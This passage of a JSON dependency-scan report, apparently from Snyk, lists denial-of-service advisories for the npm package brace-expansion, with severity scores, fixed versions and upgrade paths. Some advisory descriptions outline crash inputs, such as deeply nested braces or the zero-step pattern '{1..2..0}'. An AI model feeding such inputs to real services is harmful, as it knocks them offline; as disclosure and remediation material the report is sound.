[CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
